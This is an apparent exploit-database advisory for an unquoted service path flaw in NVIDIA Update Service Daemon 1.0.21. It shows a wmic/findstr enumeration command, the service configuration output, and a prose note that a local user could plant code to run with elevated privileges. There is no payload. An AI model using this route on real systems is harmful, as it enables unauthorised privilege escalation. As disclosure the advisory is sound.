# Exploit Title: NVIDIA Update Service Daemon 1.0.21 - 'nvUpdatusService' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-04-27
# Vendor Homepage: https://www.nvidia.com/es-la/
# Software Link : https://www.nvidia.com/es-la/
# Tested Version: 1.0.21
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es
# Step to discover Unquoted Service Path:
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "NVIDIA" | findstr /i /v """
NVIDIA Update Service Daemon nvUpdatusService C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe Auto
C:\>sc qc nvUpdatusService
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: nvUpdatusService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START (DELAYED)
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : NVIDIA Update Service Daemon
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: .\UpdatusUser
C:\>
#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.
